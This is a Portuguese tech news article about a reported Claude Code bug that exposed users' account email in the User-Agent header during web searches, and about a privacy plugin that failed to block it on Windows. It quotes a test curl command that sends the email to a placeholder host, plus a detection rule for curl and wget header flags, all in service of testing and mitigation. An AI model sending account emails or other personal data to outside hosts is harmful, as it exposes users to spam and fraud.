Claude Code expôs e-mail de desenvolvedores em buscas na web via User-Agent

O que a issue descreve

Em 5 de novembro de 2026, o usuário taylor-edwards abriu a issue #107757 no repositório anthropics/claude-code no GitHub relatando que a ferramenta incluía o endereço de e-mail da conta do usuário no cabeçalho User-Agent das requisições HTTP feitas durante buscas na web, sem pedir consentimento. O e-mail chegava a sites de terceiros arbitrários toda vez que o agente disparava uma pesquisa.

Recebo dezenas de e-mails de golpe por dia porque o Claude Code divulgou meu e-mail para terceiros arbitrários no cabeçalho User-Agent das requisições, durante buscas na web, sem a minha permissão.

taylor-edwards, autor da issue #107757 no repositório anthropics/claude-codeI receive dozens of scam emails per day because claude code divulged my email to arbitrary 3rd parties in the User-Agent request header while conducting web searches without my permission.

O relato original foi feito na versão 2.1.318 do Claude Code, rodando em macOS dentro de uma sessão tmux. O valor vazado era exatamente oauthAccount.emailAddress, lido do arquivo ~/.claude.json, ou seja, o e-mail vinculado à própria conta Anthropic de quem usa a ferramenta, conforme confirmado posteriormente pelo teste de KardKuro no Windows. A issue acumulou mais de 360 reações de concordância em menos de 24 horas, um volume raro para o repositório.

A resposta da Anthropic em horas

Ainda em 5 de novembro, poteat, colaborador listado no repositório, respondeu anunciando que um plugin interno chamado cc-plugin-privacy já havia sido introduzido para bloquear esse comportamento de forma determinística a partir da versão 2.1.317.

Lançamos um mod embutido chamado cc-plugin-privacy para bloquear esse comportamento de forma determinística a partir da versão 2.1.317. Avisem o quanto antes se encontrarem alguma brecha nas verificações desse mod.

poteat, colaborador do repositório anthropics/claude-codeWe introduced a built-in mod called cc-plugin-privacy to deterministically block this behavior in v2.1.317 and later - definitely let us know ASAP though if there's a gap in the checks introduced by that mod.

O detalhe que irritou parte da comunidade: o mod vem ativado por padrão, mas pode ser desligado pelo comando /plugins. Para quem abriu a issue, isso não resolve o problema de fundo: o pedido original era que o envio do e-mail fosse removido do código do harness, não transformado em uma opção que alguém pode desativar sem perceber o risco.

O patch não segurou no Windows

No dia seguinte, 6 de novembro, o usuário KardKuro testou o mesmo cenário no Windows 11, com o build nativo via npm do Claude Code 2.1.318. O plugin cc-plugin-privacy@builtin aparecia carregado na lista de plugins do sistema, mas não bloqueou nenhuma das duas chamadas testadas dentro da ferramenta Bash:

echo 'User-Agent: test <account email>' > /dev/null
curl -s -m 3 -A "test <account email>" http://leak-test.invalid/

Segundo o relato, o comportamento esperado pela própria regra definida em mods/privacy/hooks/register.ts era negar a execução em ambos os casos. Na prática, o echo rodou normalmente e o curl só falhou porque o domínio .invalid nunca resolve de propósito, não por causa do bloqueio de privacidade. Não houve prompt de confirmação nem recusa em nenhum dos dois comandos.

Como mitigação, KardKuro passou a usar um hook próprio do tipo PreToolUse com a mesma regra (detectar o e-mail da conta junto da palavra User-Agent, ou flags como curl -A e wget -U), cobrindo também Write e Edit para pegar um script que grave o endereço na UA antes mesmo de ser executado.

Por que isso pesa para quem usa Claude Code no dia a dia

Claude Code é um agente que roda com acesso a shell, rede e ferramentas de busca dentro do próprio fluxo de desenvolvimento. Isso muda a gravidade do problema: o vazamento não depende de uma ação explícita do desenvolvedor, ele acontece de forma silenciosa sempre que o agente decide fazer uma pesquisa na web como parte de uma tarefa de código.

Para quem usa a conta pessoal ou corporativa vinculada ao Anthropic, cada chamada de busca disparada pelo agente virou, até o patch, uma oportunidade de vazar PII (informação pessoal identificável) para servidores de terceiros que nada têm a ver com o projeto sendo desenvolvido. Um comentário na issue resume o risco jurídico que isso representa para a Anthropic:

A Anthropic pode não se importar com os usuários, mas eu acho que ela se importa com processos judiciais. E isso tem cara de ação coletiva.

phatstackzdevops, comentário na issue #107757Anthropic may not care about its users, but I would think it cares about lawsuits. And this has class action lawsuit written all over it.

A desconfiança já aparece em decisões concretas: o próprio autor da issue disse estar migrando a empresa para o harness Pi (pi.dev) combinado com OpenRouter. Outros participantes recomendaram alternativas open source↳Open source71 conteúdosComo o Open Source Está Liberando o Poder da Automação para TodosDev (Back & Front) · out 2025Código aberto: programadores criam software da NASA sem saberDev (Back & Front) · abr 2021N8N: O que é a ferramenta open source que está revolucionando a automação em TI?Dev (Back & Front) · dez 2025Ver tudo em Dev (Back & Front) → como pyrate, de markuman, ou o projeto box, de jegly, voltado a Android, todos como forma de rodar um agente de código sem depender da telemetria de um harness fechado.

O que fica em aberto

Até a publicação, a Anthropic não emitiu um comunicado oficial fora da resposta de poteat no próprio GitHub, e não há CVE registrado para o caso. Pontos que seguem sem resposta:

• Se a correção definitiva vai remover o envio do e-mail do código por completo, como pedido na issue original, em vez de depender de um plugin que pode ser desativado.
• Se o mesmo gap identificado no Windows também afeta o build nativo em Linux↳Linux34 conteúdosKali Linux em um Servidor VPS: como, quando e por que usar?DevSecOps · dez 2024Construindo um Windows Service ou Linux Daemon com Worker Service & .NET Core – Parte 2Dev (Back & Front) · jul 2020Criando uma WebApi utilizando .NET, Linux e VSCodeDev (Back & Front) · ago 2019Ver tudo em DevSecOps →, já que os testes públicos até agora cobrem apenas macOS e Windows.
• Há quanto tempo esse comportamento existia antes de alguém reportar: a issue não traz essa informação, e a Anthropic não divulgou.

Quem usa Claude Code em versão anterior à 2.1.317 deve atualizar imediatamente, mas o teste de KardKuro mostra que atualizar sozinho não é garantia. Até a Anthropic confirmar a correção, um hook próprio do tipo PreToolUse que bloqueie o e-mail da conta em cabeçalhos de rede, como o publicado na issue, é a mitigação mais concreta disponível para quem não quer trocar de harness.

Fonte: Hacker News